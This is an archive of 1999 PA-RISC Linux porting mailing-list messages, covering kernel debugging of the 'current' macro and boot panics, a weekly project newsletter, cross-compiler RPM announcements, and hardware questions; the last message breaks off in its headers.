Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Nov 24 18:16:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA19537
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Nov 1999 18:16:03 -0700
Original-Received: (qmail 21965 invoked by uid 15267); 25 Nov 1999 01:17:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21954 invoked from network); 25 Nov 1999 01:17:50 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 25 Nov 1999 01:17:50 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11qnXB-0007Cl-00; Thu, 25 Nov 1999 01:17:17 +0000
In-Reply-To: <199911250031.TAA24156@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 24, 99 07:31:08 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6519

> Anybody know where or how the pointer "current" is defined?  It is not 
> in the map.  I think it is supposed to point current processes task_struct.

current is a macro getting the task struct by manipulating %esp



From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Thu, 25 Nov 1999 14:24:33 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <19991125142433.P1009@mathe.stud.uni-erlangen.de>
References: <199911250031.TAA24156@hiauly1.hia.nrc.ca> <E11qnXB-0007Cl-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618671 28703 80.91.229.3 (22 Nov 2014 01:11:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:11 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: prumpf@abacus.uni-erlangen.de  Thu Nov 25 06:52:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA24042
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Nov 1999 06:52:45 -0700
Original-Received: (qmail 9640 invoked by uid 15267); 25 Nov 1999 13:54:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9629 invoked from network); 25 Nov 1999 13:54:34 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 25 Nov 1999 13:54:34 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Thu, 25 Nov 1999 14:54:29 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id OAA18249;
	Thu, 25 Nov 1999 14:25:33 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <E11qnXB-0007Cl-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:6520

> > Anybody know where or how the pointer "current" is defined?  It is not 
> > in the map.  I think it is supposed to point current processes task_struct.

include/asm-parisc/current.h

static inline struct task_struct * get_current(void)
{
        struct task_struct *current;

        asm("copy 30,%0" : "=r" (current));
        
        return (struct task_struct *)((long) current & (~8191));
}
 
#define current get_current()

> current is a macro getting the task struct by manipulating %esp

GR30 in our case.

	Philipp Rumpf


From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Thu, 25 Nov 1999 18:47:19 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <199911252347.SAA01418@hiauly1.hia.nrc.ca>
References: <19991125142433.P1009@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618671 28707 80.91.229.3 (22 Nov 2014 01:11:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:11 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Nov 25 16:45:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA26787
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Nov 1999 16:45:58 -0700
Original-Received: (qmail 5679 invoked by uid 15267); 25 Nov 1999 23:47:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5672 invoked from network); 25 Nov 1999 23:47:48 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 25 Nov 1999 23:47:48 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA01418;
	Thu, 25 Nov 1999 18:47:19 -0500 (EST)
In-Reply-To: <19991125142433.P1009@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 25, 99 02:24:33 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6521

> GR30 in our case.

GR30 (sp) appears ok.  It had a value of 0xc019e6c0 when the panic
in sem_exit occured.  The panic occured in this code:

        if ((q = current->semsleeping)) {
		if (q->prev)

The value for q (GR20) was 0xfffc5e6c.  Thus, the initialization of
the process task structure needs to be looked at.

I built another kernel without IPC.  In this one, the kernel panic'd
in get_unused_buffer_head.  This one occured because unused_list was
zero.  Again, it looks like there is an initialization problem somewhere.
I think others have reported this problem in the past.  It looks like:

bad address 0000001c (code 15)
Kernel panic: bad address

Here is the code:

static struct buffer_head * get_unused_buffer_head(int async)
{
        struct buffer_head * bh;

	recover_reusable_buffer_heads();
	if (nr_unused_buffer_heads > NR_RESERVED) {
		bh = unused_list;
		unused_list = bh->b_next_free;

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Fri, 26 Nov 1999 14:40:32 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <19991126144032.A2085@genedata.com>
References: <19991124203349.J1009@mathe.stud.uni-erlangen.de> <199911242055.PAA14777@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618672 28709 80.91.229.3 (22 Nov 2014 01:11:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:12 +0000 (UTC)
Cc: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: Matthew.Wilcox@genedata.com  Fri Nov 26 06:39:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA31476
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Nov 1999 06:39:04 -0700
Original-Received: (qmail 14293 invoked by uid 15267); 26 Nov 1999 13:40:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14269 invoked from network); 26 Nov 1999 13:40:54 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 26 Nov 1999 13:40:54 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAQDeSc03423;
	Fri, 26 Nov 1999 14:40:29 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAQDeSo05502;
	Fri, 26 Nov 1999 14:40:28 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id OAA236691;
	Fri, 26 Nov 1999 14:40:26 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11rLc0-0002EGC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for sieler@allegro.com; Fri, 26 Nov 1999 14:40:32 +0100 (CET) 
User-Agent: Mutt/1.0pre4i
In-Reply-To: <199911242055.PAA14777@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Wed, Nov 24, 1999 at 03:55:38PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6522

On Wed, Nov 24, 1999 at 03:55:38PM -0500, John David Anglin wrote:
> The default command line now prints during the boot.  However, the system
> is still not able to open an initial console.
> 
> I removed all LASI stuff from my configuration since some of the boot
> messages made it seem that it was trying to do things that were bad.  It
> did find the ASP, however, when the LASI stuff was in.

You need to enable LASI support to get ASP support.  I'll start working
on this again as soon as I can (which may not be very soon given my
imminent change of job and continent).  Maybe I'll get a chance at
LinuxTag in Bremen.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC/Linux Weekly News - November 25, 1999
Date: Fri, 26 Nov 1999 16:08:45 -0500
Organization: The Puffin Group
Lines: 244
Approved: news@gmane.org
Message-ID: <383EF6DD.8B4D77F6@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618672 28712 80.91.229.3 (22 Nov 2014 01:11:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Nov 26 14:05:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA01220
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Nov 1999 14:05:25 -0700
Original-Received: (qmail 7786 invoked by uid 15267); 26 Nov 1999 21:07:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7772 invoked from network); 26 Nov 1999 21:07:16 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 26 Nov 1999 21:07:16 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id QAA05680
	for <parisc-linux@thepuffingroup.com>; Fri, 26 Nov 1999 16:08:46 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6523

=============================================
 PA-RISC/Linux Weekly News - November 25, 1999
=============================================
   http://www.thepuffingroup.com/parisc/
   vol 1, iss 2
 
 This Week:
   News & Announcements
   PA-RISC/Linux Developer Profile
      David Kennedy
   State of the Port Summary
   This Week's CVS Activity


====================
News & Announcements
====================
--------------------------------
PA-RISC/Linux Bonsai now online!
--------------------------------
The Puffin Group has implemented a Bonsai system for the PA-RISC/Linux
porting project.  Bonsai is a query interface to the CVS source
repository, which you can access through:

   http://puffin.external.hp.com/bonsai/rview.cgi.
 
----------------------------------------
Hewlett-Packard releases SOM linker code
---------------------------------------
Hewlett-Packard, in co-operation with The Puffin Group, is releasing the
source code to its SOM linker product. This release is an important step
in the project to port Linux to the PA-RISC architecture, as it will
eventually allow developers to more easily test their work.

32-bit versions of the HP/UX operating system use a proprietary SOM
(Spectrum Object Model) binary format to load executables, making it a
natural choice as an object format for early PA-RISC/Linux. Until now,
there was no way to generate a SOM binary except by using HP/UX tools,
which prevented developers from building on any other platform. Once the
port of the linker is complete, developers will be able to build from a
variety of platforms, taking advantage of more computing power, and
reducing the amount of time that it takes to test new code.

Hewlett-Packard, adding to their extensive list of Linux-related
projects, has made the linker available under the GNU General Public
License, making it freely modifiable and redistributable. However,
though Hewlett-Packard encourages developers to extend and port their
linker, they do not guarantee that community modifications will be
re-integrated into their official product.

Although the linker does not yet produce functional binaries, developers
and curious hackers are invited to browse the source and commit patches.
HP's official release, as well as future snapshots, can be obtained via
FTP from ftp://puffin.external.hp.com/pub/parisc/linker, or from the
Puffin Group's CVS server.  More information regarding CVS can be found
at http://www.thepuffingroup.com/parisc/cvs.html.  Questions about the
SOM linker can be directed to linker-info@thepuffingroup.com.

---------------------------------------------
PA-RISC/Linux Hardware Database now available
---------------------------------------------
To help developers solve the eternal "will this box run Linux?"
question, The Puffin Group has made available a database of PA-RISC
hardware.  This database describes the different hardware and machine
configurations that are available.

Testers are encouraged to add their own hardware information to the
database:

   http://www.thepuffingroup.com/parisc/hw.html

--------------------------------------------------------
Linux developers get L2000 machine for PA2.0 development
--------------------------------------------------------
In order to further development of Linux on PA2.0 hardware, The Puffin
Group accepted deliver of an L2000 HP system that will be shared for
PA-RISC/Linux development work.

------------------------------------
PA-RISC/Linux Hackers invade Bremen!
------------------------------------
Perhaps "invade" is a bit strong a word for it, but Alan Cox, Matthew
Wilcox, Martin Petersen, and Philip Rumpf are all going to be at the
LinuxTag conference in Bremen this weekend.  There's a good chance that
some random hacking could erupt, as Matthew is apparently taking his 715
with him on the trip, single-handedly redefining the whole concept of a
"portable computer".  The conference page is here:

   http://linux.inbremen.de

========================
This Week's CVS Activity
========================

Alan Cox merged in the kernel 2.2.12 UFS changes.

Phillip Rumpf made numerous changes to cache code.

Grant Grundler improved the build system through a variety of fixes.
 
===============================
PA-RISC/Linux Developer Profile
===============================
This week's profile: Dave Kennedy (who, yesterday, celebrated his 23rd
birthday.  Happy Birthday, Spud! :)

David "Spud" Kennedy
--------------------
Email: dkennedy@thepuffingroup.com
Homepage: http://www.engsoc.carleton.ca/~dkennedy
Favourite colour: blue
Current age: 23
Current location: Ottawa, Canada

Q:  What's your current workplace/job:

DLK: Senior Linux Consultant at The Puffin Group.

Q:  Why did you decide to contribute to the PA-RISC/Linux porting
project?

DLK: We have a lot of cool hardware lying around The Puffin Group
offices, and I would just like to see Linux running on it.

Q:  What parts of the port have you worked on so far?

DLK: Hardware detection code, some SCSI stuff.

Q:  What do you think is your most significant contribution to date?

DLK: I brought Grant Grundler coffee once.

Q:  What bits of the port are you interested in working on the the
future?

DLK: Probably some memory management stuff.

As an aside, it should also be known that Dave also developed the
backend to the new PA-RISC/Linux Hardware Database (see "News &
Announcements" above.

=========================
State of the Port Summary
=========================

Kernel:
     based on 2.2.13

Supported Machines:
     most of the A180c, parts of 712 Gecko workstations

Supported Hardware:
     SCSI, Lan and PS/2 on Lasi I/O controller, Dino PCI
     Tulip ethernet

Project Page:
     http://www.thepuffingroup.com/parisc/

Latest Workable Image:
     ftp://puffin.external.hp.com/pub/parisc/linux-2.2.13.gz

Running PA-RISC/Linux HOWTO:
     http://thepuffingroup.com/parisc/recipe.html

-- 
Alex deVries
Vice President of Engineering
The Puffin Group

X-From-Line: shaver@netscape.com  Wed Mar 10 14:51:31 1999
Return-Path: <shaver@netscape.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03721
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:51:31 -0800
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:51:31 PST
Received: from smtp01.primenet.com (daemon@smtp01.primenet.com [206.165.6.131])
	by primenet.com (8.8.8/8.8.5) with ESMTP id HAA20562
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 07:43:51 -0700 (MST)
Received: (from daemon@localhost)
	by smtp01.primenet.com (8.8.8/8.8.8) id HAA11746
	for <pcj@primenet.com>; Wed, 10 Mar 1999 07:43:50 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp01.primenet.com, id smtpd011731; Wed Mar 10 07:43:45 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id JAA02224;
	Wed, 10 Mar 1999 09:09:36 -0500
Resent-Date: Wed, 10 Mar 1999 09:09:36 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Sender: shaver@netscape.com (Mike Shaver)
Message-ID: <36E67D7A.FA138E3D@netscape.com>
Date: Wed, 10 Mar 1999 09:11:06 -0500
From: Mike Shaver <shaver@netscape.com>
Organization: mozilla.org diplomatic corps
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.0-pre7-ac1 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] New cross compiling RPMs
References: <19990310090611.M27177@cmu.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Resent-Message-ID: <"Ob_-V2.0.gY.Wqdvs"@sod.res.cmu.edu>
Resent-From: hppa-linux@thepuffingroup.com
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/160
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 86b4d49107bd30a0ec6dd57ac471a7b6
Lines: 28
Xref: merlin.pcj.primenet.com palinux:131

Phil Schwan wrote:
> 
> Mike Shaver just rebuilt Alex's cross compiling RPMs against glibc 2.0
> rather than 2.1, and they're now available on sod:
> 
> ftp://sod.res.cmu.edu/pub/parisc/tools/egcs-x-hppa-linux-1.1.1-4.i386.rpm
> ftp://sod.res.cmu.edu/pub/parisc/tools/binutils-x-hppa-2.9.1-4.i386.rpm
> 
> Note that the revision number is still 4, but these are in fact new.

And hey -- they even work (for me)!

[shaver@loonie /tmp]$ cat test.c
int main () { return 0; }
[shaver@loonie /tmp]$ hppa-linux-gcc -c test.c
[shaver@loonie /tmp]$ file test.o
test.o: ELF 32-bit MSB relocatable, PA-RISC, version 1
[shaver@loonie /tmp]$

Mike

-- 
169530.70 140316.26

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC Linux hardware pages
Date: Fri, 26 Nov 1999 16:11:56 -0500
Organization: The Puffin Group
Lines: 25
Approved: news@gmane.org
Message-ID: <383EF79C.EC98AAE2@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618672 28715 80.91.229.3 (22 Nov 2014 01:11:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Nov 26 14:08:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA01389
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Nov 1999 14:08:48 -0700
Original-Received: (qmail 9416 invoked by uid 15267); 26 Nov 1999 21:10:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9399 invoked from network); 26 Nov 1999 21:10:25 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 26 Nov 1999 21:10:25 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id QAA05687
	for <parisc-linux@thepuffingroup.com>; Fri, 26 Nov 1999 16:11:56 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6524


With the contributions of Deb Richardson and David Kennedy, the Puffin
Group has created the PA-RISC hardware database.  This is intended to
solve the problem of not understand what hardware components exist in
which machine.

The database has several machines preloaded, I'd encourage people with
different machines that currently run HPUX to contribute by filling out
the web form for their particular machine.  This will enable us to
support more PA-RISC machines in the future.

The URL is:

http://www.thepuffingroup.com/parisc/hw.html

There are certain features that will be completed in the next couple of
weeks.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <der_fisch@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cross-compiling the kernel?
Date: Sat, 27 Nov 1999 22:33:02 +0100
Organization: Fischlustig
Lines: 18
Approved: news@gmane.org
Message-ID: <99112722352300.00350@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618673 28718 80.91.229.3 (22 Nov 2014 01:11:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: der_fisch@fischlustig.de  Sat Nov 27 14:33:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA08523
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 Nov 1999 14:33:40 -0700
Original-Received: (qmail 494 invoked by uid 15267); 27 Nov 1999 21:35:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 473 invoked from network); 27 Nov 1999 21:35:29 -0000
Original-Received: from 130-149-145-70.dialup.cs.tu-berlin.de (HELO tentakel.fischlustig.de) (@130.149.145.70)
  by mailserv2.iuinc.com with SMTP; 27 Nov 1999 21:35:29 -0000
Original-Received: (qmail 12447 invoked from network); 27 Nov 1999 21:37:34 -0000
Original-Received: from beavis.fischlustig.de (HELO beavis) (andi@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 27 Nov 1999 21:37:34 -0000
X-Mailer: KMail [version 1.0.28]
Xref: news.gmane.org gmane.linux.ports.parisc:6525

Hi all,

I wonder if I could cross-compile the kernel on one of my Linux/i386 boxes....

Is it possible?


-- 
bye
  Andreas

-------------------------------------------------
e-mail: andi@fischlustig.de

*Checkout our cool game for Linux and Win32*
   *http://www.fischlustig.de/clanbomber*
-------------------------------------------------


From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy@storm.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Parallel port hardware
Date: Sat, 27 Nov 1999 17:12:32 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <38401100.5FFDF373@storm.ca>
References: <3835D808.18274C86@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618673 28723 80.91.229.3 (22 Nov 2014 01:11:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sandy@storm.ca  Sat Nov 27 15:12:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA08854
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 Nov 1999 15:12:20 -0700
Original-Received: (qmail 17021 invoked by uid 15267); 27 Nov 1999 22:14:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17014 invoked from network); 27 Nov 1999 22:14:13 -0000
Original-Received: from storm.ca (HELO mail.storm.ca) (root@209.87.224.69)
  by mailserv2.iuinc.com with SMTP; 27 Nov 1999 22:14:13 -0000
Original-Received: from storm.ca (dial02p57.ottawa.storm.ca [209.87.225.121])
	by mail.storm.ca (8.8.8+Sun/8.8.8) with ESMTP id RAA19059
	for <parisc-linux@thepuffingroup.com>; Sat, 27 Nov 1999 17:14:12 -0500 (EST)
X-Mailer: Mozilla 4.61 [en] (Win98; U)
X-Accept-Language: en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:6526

Can anyone point me to info on the electrical properties of the parallel ports
on 712 or 715 machines?

The Papers project (Purdue Adapter for Parallel Execution and Rapid Synchronisation)

http://garage.ecn.purdue.edu/~papers/Index.html

have an interesting approach to building parallel machines.

Oversimplifying their fairly complex analysis (see page above for details), they argue
that the hard issue is latency for synchronisation, not bandwidth, so you can do a lot
of fairly interesting things with very simple synchronisation logic attached to a
parallel port and software that exploits it from user space, without the overhead of
kernel calls, packetisation, device drivers, .... 

Their most complex device has a few dozen TTL logic chips. Their simplest one handles
up to about 8 machines using just a cable and their software on Linux PCs:

http://garage.ecn.purdue.edu/~papers/WAPERS/

I'm thinking that 8 715s might make an interesting parallel engine, but the cable device
only works if the parallel port's control lines are implemented as open collector TTL.
Where can I discover whether they are?


From - Thu Nov 08 21:11:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC/Linux Weekly News - November 25, 1999
Date: Sun, 28 Nov 1999 13:11:52 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <199911282111.NAA07628@milano.cup.hp.com>
References: <383EF6DD.8B4D77F6@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618673 28726 80.91.229.3 (22 Nov 2014 01:11:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Sun Nov 28 14:07:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA14734
	for <parisc-linux@puffin.external.hp.com>; Sun, 28 Nov 1999 14:07:45 -0700
Original-Received: (qmail 5307 invoked by uid 15267); 28 Nov 1999 21:09:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5290 invoked from network); 28 Nov 1999 21:09:39 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 28 Nov 1999 21:09:39 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
